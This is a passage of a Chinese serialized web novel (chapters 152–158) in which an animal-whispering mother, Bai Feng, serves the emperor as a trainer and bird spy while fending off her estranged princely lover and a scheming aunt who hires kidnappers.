白凤又吹了几个不同的口哨,那只猫就做出不同的动作,翻滚、跳跃、甚至还会握手。 中年男人看得目瞪口呆:“这……这也太神了!” “这只是小把戏。”白凤站起来,“我还能驯更厉害的。” “比如?”中年男人问。 “比如老虎、狼、熊。”白凤说,“只要给我时间,什么动物我都能驯。” 中年男人沉默了一会儿,突然说:“你跟我来。” 白凤牵着豆豆,跟着中年男人进了府邸。 府邸里很大,走了好一会儿,才到了一个书房。 中年男人让白凤坐下,自己倒了杯茶:“白姑娘,实不相瞒,我叫李文渊,是户部侍郎。徐禄生的信里说,你想见皇上?” “是。”白凤点头。 “见皇上可不容易。”李文渊说,“你得有足够的本事,才能引起皇上的注意。” “我有。”白凤说,“我不但能驯兽,还能让动物帮我打探消息。” 李文渊眼睛一亮:“打探消息?” “对。”白凤说,“比如鸟,它们能飞到任何地方,看到任何事。只要我训练得当,它们就能把看到的告诉我。” 李文渊倒吸一口凉气:“这……这要是真的,那可了不得!” “我可以证明给你看。”白凤说。 李文渊想了想,点头:“好,你先在我府上住下,我去安排。” 白凤松了口气,总算迈出了第一步。 接下来几天,白凤就住在李府,每天训练她带来的动物。 豆豆也很开心,李府里有个小花园,他每天在那里玩,乐乐和来财陪着他。 李文渊每天都会来看白凤训练,越看越惊讶。 “白姑娘,你这本事,真是闻所未闻。”李文渊说。 “过奖了。”白凤说,“李大人,皇上那边……” 第153章 别怕 “我已经安排好了。”李文渊说,“三天后,皇上会在御花园狩猎,到时候我带你去,你当场展示给皇上看。” “好。”白凤点头。 三天后,李文渊带着白凤和豆豆,进了皇宫。 皇宫比白凤想象的还要宏伟,到处都是金碧辉煌的建筑。 豆豆紧紧拉着白凤的手,有些害怕。 “别怕。”白凤安慰他,“有娘在。” 御花园里已经聚集了不少人,都是皇上的近臣和皇子们。 白凤远远看见一个穿着龙袍的中年男人,心里猜测那应该就是皇上。 皇上身边站着几个年轻男人,其中一个看起来二十来岁,穿着华丽的衣服,应该是太子。 李文渊带着白凤走过去,跪下行礼:“皇上,微臣带来了一个奇人,想给皇上表演驯兽。” 皇上抬起头,看了白凤一眼:“哦?驯兽?有意思。” “皇上,这女子是民女,怎么能进宫?”太子突然开口,“李大人,你这是坏了规矩。” 李文渊额头冒汗:“太子殿下,微臣……” “无妨。”皇上摆摆手,“既然来了,就让她表演表演。” 白凤松了口气,上前行礼:“民女白凤,见过皇上。” “起来吧。”皇上说,“听说你会驯兽?” “是。”白凤说,“民女不但会驯兽,还能让动物帮忙打探消息。” “打探消息?”皇上来了兴趣,“怎么打探?” “民女可以当场演示。”白凤说。 “好。”皇上点头,“那你就演示给朕看。” 白凤吹了个口哨,福球从她怀里跳出来,飞到空中。 “这是什么鸟?”皇上问。 “这是民女养的鹦鹉,叫福球。”白凤说,“福球,去看看太子殿下身边那个侍卫腰间挂着什么。” 福球叫了一声,飞到太子身边,绕着那个侍卫转了一圈,然后飞回来,落在白凤肩上。 白凤听了听福球的叫声,说:“那个侍卫腰间挂着一个玉佩,玉佩上刻着一个"安"字。” 太子脸色一变,看向那个侍卫。 侍卫连忙掀开衣服,露出腰间的玉佩,上面果然刻着一个“安”字。 皇上眼睛一亮:“好!好!真是神了!” 太子脸色难看,冷哼一声:“不过是些雕虫小技罢了。” “太子殿下此言差矣。”一个低沉的声音突然响起。 白凤转头,看见一个穿着黑色盔甲的男人走了过来。 那男人身材高大,面容冷峻,正是徽臻王尉迟深。 白凤心里一紧,没想到会在这里遇到他。 尉迟深走到皇上面前,行礼:“父皇,儿臣觉得这位白姑娘的本事,大有用处。” “哦?”皇上看着尉迟深,“你说说看。” “若是能训练更多的鸟兽,让它们帮忙打探敌情,那在战场上就能占尽先机。”尉迟深说。 皇上点头:“有道理。” 太子脸色更难看了:“父皇,这女子来历不明,怎么能轻易相信?” “太子多虑了。”尉迟深淡淡地说,“白姑娘是儿臣的……朋友。” 白凤愣住了。朋友? 尉迟深看了她一眼,眼神里带着某种她看不懂的情绪。 皇上笑了:“既然是徽臻王的朋友,那就没问题了。白姑娘,朕封你为御用驯兽师,专门负责训练动物。” 白凤连忙跪下:“谢皇上。” 太子脸色铁青,转身离开。 皇上也起身离开,其他人纷纷跟上。 白凤站起来,正要走,尉迟深突然拦住她:“白姑娘,我们谈谈。” 白凤看着尉迟深,心里警惕:“王爷想谈什么?” “跟我来。”尉迟深转身就走。 白凤犹豫了一下,还是跟了上去。豆豆紧紧拉着她的手,乐乐和来财也跟在后面。 尉迟深带着他们走到御花园的一个偏僻角落,那里有个小亭子。 “坐。”尉迟深指了指亭子里的石凳。 白凤坐下,豆豆坐在她旁边,警惕地看着尉迟深。 尉迟深也坐下,沉默了一会儿,突然说:“你为什么要进京?” “这跟王爷有关系吗?”白凤反问。 “当然有关系。”尉迟深说,“你是豆豆的娘,豆豆是我的儿子。” “他不是。”白凤冷冷地说,“豆豆只是我的儿子。” 尉迟深皱眉:“你还要否认到什么时候?” “我没有否认。”白凤说,“我只是在陈述事实。王爷当年抛弃了我们母子,现在又来认亲,你觉得我会答应吗?” 尉迟深沉默了。 豆豆突然开口:“你就是我爹?” 尉迟深看着豆豆,眼神柔和了一些:“是。” “可我娘说,我爹死了。”豆豆说。 “你娘骗你的。”尉迟深说。 “我娘不会骗我!”豆豆生气了,“你才是骗子!” 尉迟深被噎住了,看向白凤。 白凤面无表情:“王爷听到了,豆豆不认你。” “他还小,不懂事。”尉迟深说,“等他长大了,自然会明白。” “那就等他长大再说。”白凤站起来,“王爷要是没别的事,我们就先走了。” “等等。”尉迟深叫住她,“你既然当了御用驯兽师,就得住在宫里。我已经让人给你安排了住处。” “不用。”白凤说,“我在李府住得挺好。” “李府?”尉迟深皱眉,“你住在李文渊那里?” “是。”白凤说,“李大人帮了我很多,我很感激他。” 尉迟深脸色有些难看:“你一个女子,住在别人府上,不合适。” “那王爷觉得住哪里合适?”白凤反问,“住在王府吗?” 尉迟深一愣,随即点头:“对,住在王府最合适。” “我拒绝。”白凤说完,牵着豆豆就走。 尉迟深看着她的背影,叹了口气。 白凤回到李府,李文渊正在等她。 “白姑娘,恭喜你了。”李文渊笑着说,“御用驯兽师,这可是个肥差。” “多谢李大人。”白凤说,“要不是李大人帮忙,我也进不了宫。” “客气了。”李文渊说,“不过白姑娘,你跟徽臻王……” “我跟他没关系。”白凤打断他,“李大人不用多想。” 李文渊点点头,没再多问。 接下来几天,白凤每天都要进宫,训练皇上赏赐给她的各种动物。 皇上给了她一个很大的院子,专门用来养动物。院子里有各种鸟兽,老虎、狼、熊、鹰、鹦鹉,应有尽有。 白凤每天忙得脚不沾地,但她乐在其中。这些动物都很聪明,只要用对方法,很快就能训练好。 豆豆也帮着她,小家伙跟动物们相处得很好,经常骑在老虎背上玩。 这天,白凤正在训练一只鹰,突然听到院子外传来争吵声。 她走出去一看,发现是太子带着几个侍卫,正在跟守门的太监吵架。 “太子殿下,这里是御用驯兽师的地方,您不能随便进来。”太监说。 “放肆!”太子怒道,“本宫想去哪里就去哪里,你敢拦我?” “太子殿下息怒。”太监吓得跪下。 白凤走过去,行礼:“太子殿下,不知有何贵干?” 太子看了她一眼,冷笑:“本宫听说你训练的动物很厉害,特地来看看。” “太子殿下请。”白凤让开路。 第154章 你训练的? 太子带着侍卫走进院子,看着那些动物,眼里闪过一丝贪婪。 “这些动物都是你训练的?”太子问。 “是。”白凤说。 “那你能不能训练一只给本宫?”太子说,“本宫想要一只老虎。” 白凤皱眉:“太子殿下,这些动物都是皇上赏赐给我的,我不能私自送人。” “本宫又不是外人。”太子不悦,“你就说能不能训练吧。” “不能。”白凤说,“训练猛兽需要时间,而且很危险。太子殿下要是真想要,可以去跟皇上说。” 太子脸色一沉:“你这是在拒绝本宫?” “民女不敢。”白凤说,“只是实话实说。” 太子冷哼一声,转身就走。 白凤松了口气,但心里隐隐有些不安。太子这个人,看起来不好惹。 果然,第二天,太子就在朝堂上提出,要让白凤训练一批猛兽,专门供皇室使用。 皇上同意了,但提出一个条件:这些猛兽只能用来观赏,不能用来伤人。 太子表面上答应了,但白凤知道,他肯定另有打算。 接下来的日子,白凤更加小心。她训练动物的时候,总是让豆豆待在安全的地方,还让乐乐和来财守着。 这天晚上,白凤正在院子里喂动物,突然听到一阵脚步声。 她转头一看,发现是尉迟深。 “王爷怎么来了?”白凤问。 “我来看看你。”尉迟深说,“听说太子找过你?” “是。”白凤说,“他想要我训练的老虎。” “你答应了?”尉迟深皱眉。 “没有。”白凤说,“我拒绝了。” 尉迟深松了口气:“那就好。太子这个人,心思不正,你离他远点。” “我知道。”白凤说,“王爷要是没别的事,我就继续喂动物了。” “等等。”尉迟深叫住她,“我有话跟你说。” 白凤停下脚步,看着他。 尉迟深沉默了一会儿,突然说:“当年的事,是我不对。” 白凤愣住了。 “我不该抛下你。”尉迟深继续说,“但我当时有苦衷。” “什么苦衷?”白凤问。 “我不能说。”尉迟深说,“但我可以保证,我从来没有忘记过你。” 白凤冷笑:“王爷这话说得倒是好听。可惜我不信。” “你不信也没关系。”尉迟深说,“我会用行动证明给你看。” “不用了。”白凤说,“我现在过得挺好,不需要王爷证明什么。” 尉迟深看着她,眼神复杂:“你真的这么恨我?” “恨?”白凤摇头,“我不恨你。我只是觉得,我们之间已经没有任何关系了。” 尉迟深沉默了,转身离开。 白凤看着他的背影,心里五味杂陈。 她不知道自己是不是做对了,但她知道,她不能再让自己受伤。 接下来几天,尉迟深没有再来找她。 白凤松了口气,继续专心训练动物。 这天,皇上突然召见她,说有重要的事情要交代。 白凤带着豆豆进宫,来到御书房。 皇上坐在龙椅上,脸色凝重:“白姑娘,朕有件事要你帮忙。” “皇上请说。”白凤说。 “朕听说,你训练的鸟能打探消息?”皇上问。 “是。”白凤点头。 “那你能不能训练一批鸟,帮朕打探京城里的消息?”皇上说,“朕想知道,京城里有没有人在暗中搞鬼。” 白凤心里一动。皇上这是在怀疑谁? “民女可以试试。”白凤说,“但需要一些时间。” “没关系。”皇上说,“你尽管去做,有什么需要,尽管开口。” “谢皇上。”白凤行礼。 回到院子后,白凤立刻开始训练鸟类。 她挑选了几只最聪明的鸟,每天训练它们飞到京城的各个角落,观察那里的情况。 豆豆也帮着她,小家伙跟鸟儿们相处得很好,经常喂它们吃东西。 半个月后,白凤的鸟儿们终于训练好了。 她让它们飞到京城的各个地方,观察那里的情况,然后回来报告。 很快,白凤就发现了一些不对劲的地方。 太子府里,经常有一些陌生人进出,而且都是在深夜。 白凤把这个消息告诉了皇上。 皇上听完,脸色变得更加凝重:“你确定?” “确定。”白凤说,“民女的鸟儿亲眼看到的。” 皇上沉默了一会儿,突然说:“你继续盯着太子府,有什么情况,立刻来报。” “是。”白凤行礼。 接下来的日子,白凤每天都让鸟儿们盯着太子府。 她发现,太子府里的那些陌生人,都是一些江湖人士,而且个个身手不凡。 白凤心里隐隐有了猜测,但她不敢确定。 这天晚上,白凤正在院子里整理鸟儿们带回来的消息,突然听到一阵急促的脚步声。 她转头一看,发现是尉迟深。 “王爷?”白凤有些意外。 “跟我走。”尉迟深说,“皇上召见。” 白凤心里一紧,连忙跟着尉迟深去了御书房。 皇上坐在龙椅上,脸色铁青。 “白姑娘,你的鸟儿今天看到了什么?”皇上问。 “回皇上,民女的鸟儿看到,太子府里来了一批人,他们在商量什么事情。”白凤说。 “商量什么?”皇上追问。 “民女不知道。”白凤说,“鸟儿只能看,不能听。” 皇上沉默了,突然说:“徽臻王,你怎么看?” “父皇,儿臣觉得,太子府里的那些人,来历不明,恐怕不是什么好人。”尉迟深说。 “朕也是这么想的。”皇上说,“但朕不能随便动太子,毕竟他是朕的儿子。” “父皇,儿臣有个办法。”尉迟深说。 “什么办法?”皇上问。 “让白姑娘继续盯着太子府,等找到确凿的证据,再动手不迟。”尉迟深说。 皇上点头:“好,就这么办。” 白凤行礼:“民女遵旨。” 回到院子后,白凤心里沉甸甸的。 她没想到,自己会卷入这么大的事情。 但她知道,她已经没有退路了。 白凤加紧训练鸟儿,让它们更仔细地观察太子府的动静。 这天傍晚,福球突然飞回来,叫得特别急促。 白凤心里一紧,连忙听它说了什么。 福球告诉她,太子府里来了一个穿着黑衣的人,那人跟太子密谈了很久,临走时还给了太子一个盒子。 白凤立刻让福球带路,自己悄悄跟了过去。 她躲在太子府外的一棵大树上,透过窗户看到太子正在打开那个盒子。 盒子里装着一封信和一把匕首。 太子看完信,脸上露出阴险的笑容。 白凤心里一沉,连忙让福球记住那封信的内容。 福球虽然不识字,但它记性很好,把信上的图案和符号都记了下来。 第155章 没事 白凤关上门,靠在门板上,手心全是汗。 豆豆从屋里跑出来,抱住她的腿:“娘,刚才那个黑叔叔又来了?” “没事。”白凤蹲下来,摸摸他的头,“娘不会让任何人把你带走。” 乐乐凑过来,用脑袋蹭她的手:“主人,那个王爷真要来?” “他敢来,我就敢跑。”白凤站起身,眼里闪过一丝狠劲,“大不了带着你们躲到深山里去。” 来财趴在院子角落,懒洋洋地说:“主人,你跑得过骏马?” 白凤噎了一下。 确实,她一个女人,带着孩子和三只动物,能跑到哪儿去? “那也不能坐以待毙。”白凤咬咬牙,“明天我去找徐禄生,问问他有没有办法。” 第二天一早,白凤就带着豆豆去了徐禄生家。 徐禄生正在院子里晒药材,看见她来,赶紧迎上来:“白姑娘,这么早?” “徐大哥,我有事想请教你。”白凤把昨晚的事说了一遍。 徐禄生听完,眉头皱得死紧:“这可不好办。徽臻王是皇上的亲弟弟,要是他真想带你走,谁也拦不住。” “那我就只能跑了?”白凤问。 “跑也不是长久之计。”徐禄生想了想,“要不,你先去县衙,让县令给你开个路引,说你要去别处投亲?” 白凤眼睛一亮:“这个办法好!” 有了路引,她就能光明正大地离开,不算私自逃跑。 “不过。”徐禄生又说,“县令那边,你得想个说得过去的理由。” 白凤点点头:“我知道。” 她带着豆豆去了县衙。 县令正在处理公务,看见她来,倒是挺客气:“白姑娘,又有何事?” “大人,民女想请您开个路引。”白凤说,“民女想带着儿子去外地投亲。” 县令放下笔:“投亲?投谁?” 白凤早就想好了说辞:“民女有个远房表姐,嫁到了临州府,前些日子来信说想让民女过去帮忙。” 县令看着她,眼神有些怀疑:“你一个女人,带着孩子去那么远?” “民女也是没办法。”白凤低下头,“这里实在待不下去了,舅母那边又不肯收留,只能去投奔表姐。” 县令沉吟片刻,终于点头:“也罢,本官给你开个路引。不过你要记住,路上小心,别惹事。” “多谢大人!”白凤松了口气。 拿到路引,白凤心里踏实多了。 她回到城隍庙,开始收拾东西。 乐乐趴在门口望风,来财帮着叼东西,福球缩在豆豆怀里,一脸紧张。 “娘,我们真的要走吗?”豆豆问。 “嗯。”白凤把衣服塞进包袱,“我们去个没人认识的地方,重新开始。” 豆豆抿着嘴,眼眶有点红:“可是我舍不得徐叔叔。” 白凤手上动作一顿。 她也舍不得。 徐禄生对她们母子真的很好,这些日子帮了不少忙。 “等我们安顿下来,再给徐叔叔写信。”白凤说。 豆豆点点头,不再说话。 东西收拾得差不多了,白凤准备明天一早就走。 可就在这时,院门又被敲响了。 白凤心里一紧,该不会又是那个黑甲将士? 她走过去开门,门外站着的却是童氏。 童氏脸色铁青,身后还跟着沈冬梅。 “好你个白凤!”童氏指着她鼻子骂,“你还真去告官了?让我赔了十两银子!” 白凤冷着脸:“那是你欠我的。” “欠你的?”童氏气得浑身发抖,“我养了你这么多年,你不感恩也就算了,还反咬一口!” “养我?”白凤冷笑,“你是怎么养我的,镇上的人都看得清清楚楚。” 沈冬梅上前一步,阴阳怪气地说:“表妹,你现在翅膀硬了,连我娘都敢告了?” “我只是要回属于我的东西。”白凤说,“你们要是不服,可以再去县衙告我。” “你!”沈冬梅气得脸都红了。 童氏咬着牙,突然换了副嘴脸:“白凤,舅母知道以前对你不好,但咱们到底是一家人,你何必闹得这么僵?” 白凤心里冷笑。 这是看硬的不行,开始来软的了? “舅母,我和你们早就不是一家人了。”白凤说,“以后你们走你们的阳关道,我走我的独木桥,谁也别来烦谁。” 童氏脸色一变:“你这是什么意思?” “我要带着豆豆离开这里。”白凤说,“以后不会再回来了。” “离开?”童氏眼珠一转,“你要去哪儿?” 白凤警惕地看着她,没有回答。 童氏见她不说话,又换了副笑脸:“白凤,舅母知道你恨我,但你一个女人带着孩子,能去哪儿?不如就留在这里,舅母以后一定好好待你。” 白凤心里冷笑。 童氏这是怕她走了,以后没人可以欺负了? “不必了。”白凤说,“我自己能过得很好。” 说完,她砰地一声关上门。 童氏在门外骂了半天,见白凤不理她,只好悻悻离开。 沈冬梅跟在她身后,小声说:“娘,就这么让她走了?” “走就走。”童氏冷哼一声,“一个拖油瓶,留着也是碍眼。” “可是她手里还有不少银子呢。”沈冬梅说。 童氏眼睛一亮:“对啊,她那些银子是从哪儿来的?” “听说是卖药材换的。”沈冬梅说,“她前些日子上山采了不少药材,卖给了徐禄生。” 童氏心里盘算起来。 白凤手里有银子,要是能想办法弄过来就好了。 “冬梅,你去打听打听,看她到底有多少银子。”童氏说。 沈冬梅点点头,转身走了。 白凤在屋里听着外面的动静,心里冷笑。 童氏这是又打起她的主意了。 “主人,那个老太婆不是好人。”乐乐说。 “我知道。”白凤说,“所以我们得赶紧走。” 她加快了收拾的速度,准备明天天一亮就出发。 可就在这时,福球突然叫了起来:“主人,外面有人!” 白凤心里一紧,走到窗边往外看。 院子外面,站着几个黑衣人。 那些人穿着夜行衣,蒙着脸,一看就不是好人。 白凤心里一沉。 这是童氏派来的? “乐乐,来财,准备好。”白凤低声说。 乐乐和来财立刻警觉起来,龇着牙盯着门口。 那几个黑衣人在外面转了一圈,突然翻墙进来。 白凤抱起豆豆,躲到屋子角落。 黑衣人推开门,走了进来。 “找到了。”其中一个黑衣人说,“就是这个女人。” 白凤心里一紧:“你们是谁?” “你不用知道。”黑衣人冷笑,“跟我们走一趟就行了。” 说完,他伸手就要抓白凤。 乐乐突然扑上去,一口咬在他手上。 “啊!”黑衣人惨叫一声,甩开乐乐。 来财也扑了上去,咬住另一个黑衣人的腿。 福球虽然小,但也不甘示弱,冲着黑衣人叫个不停。 第156章 没那么容易 黑衣人被三只动物缠住,一时间无法靠近白凤。 白凤趁机抱着豆豆往外跑。 可刚跑到院子里,就被另一个黑衣人拦住了。 “想跑?”黑衣人冷笑,“没那么容易。” 白凤心里一沉。 这些人到底是谁派来的? 就在这时,一道黑影从天而降,落在院子里。 那是个穿着黑甲的将士,正是之前来过的那个。 “放开她。”黑甲将士冷冷地说。 黑衣人看见他,脸色一变:“你是徽臻王的人?” “不错。”黑甲将士说,“白姑娘是王爷要的人,你们敢动她?” 黑衣人对视一眼,突然转身就跑。 黑甲将士没有追,只是站在原地,看着白凤。 白凤抱着豆豆,心里又惊又怕。 “白姑娘,你没事吧?”黑甲将士问。 “我没事。”白凤说,“刚才那些人是谁?” “不知道。”黑甲将士说,“不过看样子,是冲着你来的。” 白凤心里一沉。 难道是童氏派来的? “白姑娘,你一个人带着孩子,太危险了。”黑甲将士说,“不如跟我回京城,王爷会保护你。” “不必了。”白凤冷着脸,“我自己能保护自己。” 黑甲将士叹了口气:“白姑娘,王爷是真心想补偿你。” “补偿?”白凤冷笑,“他要是真想补偿,当初就不该抛下我。” 黑甲将士沉默了。 白凤抱着豆豆回到屋里,关上门。 乐乐和来财也跟了进来,福球缩在豆豆怀里,浑身发抖。 “娘,刚才好可怕。”豆豆小声说。 “别怕。”白凤抱紧他,“娘会保护你。” 可她心里清楚,今晚的事不简单。 那些黑衣人到底是谁派来的? 童氏?还是别人? 而且,黑甲将士为什么会突然出现? 难道他一直在暗中保护她? 白凤心里乱成一团。 她本来打算明天就走,可现在看来,恐怕没那么容易了。 天还没亮,白凤就醒了。 昨晚的事让她一夜没睡好,脑子里全是那些黑衣人的影子。 豆豆还在睡,小脸蛋埋在她怀里,睡得很香。 白凤轻轻把他放下,起身走到窗边。 院子里静悄悄的,黑甲将士已经不见了。 “主人,你醒了?”乐乐趴在门口,抬起头看她。 “嗯。”白凤蹲下来,摸摸它的头,“昨晚辛苦你了。” “不辛苦。”乐乐摇摇尾巴,“保护主人是我应该做的。” 来财也凑过来:“主人,我们今天还走吗?” 白凤沉默了一会儿,摇摇头:“先不走了。” “为什么?”来财问。 “昨晚那些人来路不明,我得先弄清楚他们是谁。”白凤说,“要是现在就走,说不定半路上又会遇到麻烦。” 乐乐点点头:“主人说得对。” 白凤洗了把脸,开始准备早饭。 豆豆醒了,揉着眼睛走出来:“娘,我饿了。” “马上就好。”白凤把粥盛到碗里,递给他。 豆豆接过碗,小口小口地喝着,突然问:“娘,我们还走吗?” “暂时不走了。”白凤说。 豆豆眼睛一亮:“那我还能去找徐叔叔玩?” “可以。”白凤摸摸他的头,“不过你要小心,别乱跑。” “嗯!”豆豆用力点头。 吃完早饭,白凤带着豆豆去了徐禄生家。 徐禄生正在院子里整理药材,看见她来,有些意外:“白姑娘,你不是要走吗?” “出了点事。”白凤把昨晚的事说了一遍。 徐禄生听完,脸色变得凝重:“那些黑衣人是冲着你来的?” “应该是。”白凤说,“我怀疑是童氏派来的。” “童氏?”徐禄生皱起眉头,“她有那个胆子?” “她女儿沈冬梅嫁的那家,听说在镇上有些势力。”白凤说,“说不定是她找人干的。” 徐禄生想了想:“这事不能就这么算了,你得去报官。” “报官?”白凤犹豫了一下,“可是我没有证据。” “那些黑衣人跑了,但你可以让县令派人去查。”徐禄生说,“总不能让他们这么欺负你。” 白凤点点头:“也对。” 她带着豆豆去了县衙。 县令听完她的叙述,脸色变得严肃:“你是说,有人派黑衣人去抓你?” “是的。”白凤说,“要不是徽臻王的人及时赶到,我和豆豆就危险了。” 县令沉吟片刻:“你怀疑是谁干的?” “我怀疑是我舅母童氏。”白凤说,“她前些日子被我告了,心里肯定记恨我。” 县令点点头:“本官会派人去查。你先回去,这几天小心点。” “多谢大人。”白凤行了个礼,带着豆豆离开。 回到城隍庙,白凤心里还是不踏实。 那些黑衣人要是再来怎么办? “主人,你别担心。”乐乐说,“有我们在,他们不敢乱来。” “就是。”来财也说,“我们三个一起上,他们肯定打不过。” 福球缩在豆豆怀里,小声说:“我也会保护主人的。” 白凤看着这三只动物,心里暖暖的。 有它们在,她确实安心多了。 可就在这时,院门又被敲响了。 白凤心里一紧,走过去开门。 门外站着的是沈冬梅。 沈冬梅脸上挂着笑,手里还提着个篮子:“表妹,我来看你了。” 白凤冷着脸:“你来干什么?” “表妹,你这话说的。”沈冬梅笑着说,“我娘昨天对你态度不好,我特地来给你赔罪的。” 白凤看着她,心里冷笑。 沈冬梅会这么好心? “不必了。”白凤说,“你回去吧。” “表妹,你别这么冷淡嘛。”沈冬梅把篮子递过来,“这是我做的点心,你尝尝。” 白凤没有接:“我不吃。” 沈冬梅脸上的笑容僵了一下,但很快又恢复了:“表妹,你还在生我娘的气?” “不是生气。”白凤说,“只是不想和你们有任何瓜葛。” 沈冬梅咬了咬嘴唇,突然压低声音:“表妹,我听说昨晚有人去你这里闹事?” 白凤心里一紧:“你怎么知道?” “镇上都传开了。”沈冬梅说,“大家都在说,有黑衣人去你这里抓你。” 白凤盯着她,冷冷地问:“那些人是你们派来的?” “怎么可能!”沈冬梅连忙摆手,“表妹,你可别冤枉我们。” “那你来干什么?”白凤问。 “我是来提醒你的。”沈冬梅说,“表妹,你一个女人带着孩子,太危险了。不如搬回我家住,我娘会保护你的。” 白凤冷笑:“保护我?还是想继续欺负我?” “表妹,你这话说的。”沈冬梅脸上闪过一丝不悦,“我是真心为你好。” “不必了。”白凤说,“我自己能照顾自己。” 说完,她砰地一声关上门。 沈冬梅站在门外,脸色阴沉下来。 她转身离开,回到家里。 童氏正坐在堂屋里,看见她回来,赶紧问:“怎么样?她答应了吗?” 第157章 她根本不信我 “没有。”沈冬梅说,“她根本不信我。” 童氏气得拍桌子:“这个死丫头,真是不识好歹!” “娘,现在怎么办?”沈冬梅问。 童氏眼珠一转:“既然软的不行,那就来硬的。” “硬的?”沈冬梅愣了一下,“娘,你想干什么?” “你去找你男人,让他再派几个人去。”童氏说,“这次一定要把白凤抓回来。” 沈冬梅犹豫了一下:“娘,这样不好吧?要是被县令知道了……” “怕什么?”童氏冷哼一声,“只要做得干净点,谁能知道是我们干的?” 沈冬梅想了想,点点头:“好,我去找他。” 白凤在屋里听着外面的动静,心里冷笑。 童氏果然不是好人。 “主人,那个女人不是好东西。”乐乐说。 “我知道。”白凤说,“所以我们得小心。” 她走到窗边,往外看了看。 院子里静悄悄的,没有任何动静。 可白凤心里总觉得不踏实。 童氏肯定不会善罢甘休。 “乐乐,来财,今晚你们轮流守夜。”白凤说,“要是有人来,立刻叫醒我。” “好的,主人。”乐乐和来财齐声说。 夜幕降临,白凤哄着豆豆睡下,自己却睡不着。 她躺在床上,脑子里全是乱七八糟的念头。 那些黑衣人到底是谁派来的? 童氏?还是别人? 而且,徽臻王为什么要派人保护她? 他到底想干什么? 白凤越想越乱,干脆起身走到院子里。 乐乐趴在门口,看见她出来,抬起头:“主人,你睡不着?” “嗯。”白凤蹲下来,摸摸它的头,“我心里乱。” “主人,你别担心。”乐乐说,“有我们在,不会有事的。” 白凤笑了笑,正要说话,突然听到院墙外传来一阵脚步声。 她心里一紧,立刻警觉起来。 乐乐也竖起耳朵,低声说:“主人,有人来了。” 白凤屏住呼吸,盯着院墙。 脚步声越来越近,最后停在院墙外。 白凤心里一沉,握紧了手里的木棍。 可等了半天,院墙外却没有任何动静。 白凤皱起眉头,正要走过去看看,突然听到一个熟悉的声音:“白姑娘,是我。” 白凤愣了一下,认出了那是黑甲将士的声音。 她走到院墙边,低声问:“你来干什么?” “我是来保护你的。”黑甲将士说,“王爷担心你的安全,让我暗中守着。” 白凤心里一阵烦躁:“我不需要保护。” “白姑娘,你一个人带着孩子,太危险了。”黑甲将士说,“那些黑衣人还会再来的。” 白凤沉默了一会儿,问:“你知道那些人是谁派来的?” “不知道。”黑甲将士说,“不过我会查清楚的。” 白凤咬了咬嘴唇,最后还是说:“谢谢你。” “不客气。”黑甲将士说,“你早点休息吧,我会守在外面。” 白凤回到屋里,心里五味杂陈。 徽臻王派人保护她,到底是真心想补偿,还是另有目的? 她想不明白,干脆不想了。 反正不管徽臻王想干什么,她都不会跟他回京城。 她要带着豆豆,过自己的日子。 第二天一早,白凤就被乐乐叫醒了。 “主人,外面有人!”乐乐压低声音说。 白凤心里一紧,赶紧起身走到窗边。 院子外面,站着几个衙役。 为首的正是县令身边的师爷。 白凤松了口气,走出去开门:“师爷,这么早来找我?” 师爷拱了拱手:“白姑娘,县令大人让我来通知你,昨晚那些黑衣人抓到了。” 白凤眼睛一亮:“抓到了?” “是的。”师爷说,“县令大人让你去县衙一趟,指认一下。” 白凤点点头:“好,我马上去。” 她把豆豆交给徐禄生照看,自己跟着师爷去了县衙。 县令正坐在堂上,下面跪着几个黑衣人。 白凤走进去,仔细看了看那几个人。 正是昨晚来抓她的那几个。 “白姑娘,你认得他们吗?”县令问。 “认得。”白凤说,“就是他们昨晚闯进我家,想要抓我。” 县令点点头,看向那几个黑衣人:“你们还有什么好说的?” 其中一个黑衣人低着头,不说话。 县令冷哼一声:“不那本官就用刑了。” “大人饶命!”黑衣人赶紧磕头,“小的说,小的全说!” “说!”县令拍了拍惊堂木。 “是……是童氏让我们去的。”黑衣人说,“她给了我们十两银子,让我们把白姑娘抓回去。” 白凤心里一沉。 果然是童氏。 县令脸色铁青:“大胆!竟敢私自抓人!” 他看向师爷:“去,把童氏给我带来!” “是!”师爷领命而去。 没过多久,童氏就被带到了县衙。 她一进来,就看见跪在地上的那几个黑衣人,脸色顿时变得煞白。 “童氏,你可知罪?”县令冷冷地问。 “大人,民妇不知道您在说什么。”童氏强撑着说。 “不知道?”县令冷笑,“这几个人都招了,说是你指使他们去抓白凤的。” 童氏脸色一变,连忙辩解:“大人,他们胡说!民妇怎么可能做这种事?” “你还敢狡辩!”县令拍了拍惊堂木,“来人,给我打!” 衙役上前,按住童氏就要打板子。 童氏吓得魂飞魄散,赶紧求饶:“大人饶命!大人饶命!民妇招,民妇全招!” 县令这才挥手让衙役停下:“说!” “是……是民妇一时糊涂。”童氏哭着说,“白凤那丫头告了民妇,让民妇赔了十两银子,民妇心里不服,就想着把她抓回来,好好教训她一顿。” “教训?”县令冷笑,“你这是私自抓人,知道是什么罪吗?” 童氏吓得浑身发抖,不敢说话。 县令看向白凤:“白姑娘,你想怎么处置她?” 白凤看着跪在地上的童氏,心里五味杂陈。 这个女人,这些年对她做了那么多过分的事,现在终于得到报应了。 “大人,民女不想追究了。”白凤说,“只要她以后不再来烦我,就行了。” 县令点点头:“也罢。童氏,本官念你是初犯,就罚你银子二十两,再打板子十下。要是再有下次,绝不轻饶!” “是,是!”童氏连连磕头。 衙役把童氏拖下去打板子,童氏的惨叫声在县衙里回荡。 白凤听着,心里却没有任何快感。 她只是觉得累。 这些年,她受了太多委屈,现在终于可以解脱了。 “白姑娘,你回去吧。”县令说,“以后要是再有人欺负你,尽管来找本官。” “多谢大人。”白凤行了个礼,转身离开。 走出县衙,白凤深吸了一口气。 天空很蓝,阳光很暖。 她突然觉得,生活好像没那么糟糕了。 回到城隍庙,豆豆正和徐禄生在院子里玩。 第158章 开门见山 黑甲侍卫走后,白凤靠在门板上,脑子里乱成一团。 豆豆从屋里跑出来,抱住她的腿:“娘,那个叔叔又来了?” “没事。”白凤蹲下身,摸了摸他的头,“以后那些人来,你就躲屋里,别出来。” 豆豆懵懂地点点头。 白凤把他抱回屋,心里却越想越不对劲。徽臻王派人来了两次,下次会不会真的亲自来?要是他来了,自己能拦得住? 她在屋里转了几圈,突然想起一件事——师爷。 当初告童氏的时候,师爷帮了不少忙。可自从黑甲侍卫出现后,师爷就再没来过。 第二天一早,白凤去了县衙。 师爷正在整理卷宗,看见她进来,脸色一变,连忙站起来:“白姑娘,你怎么来了?” “师爷,我有事想问你。”白凤开门见山。 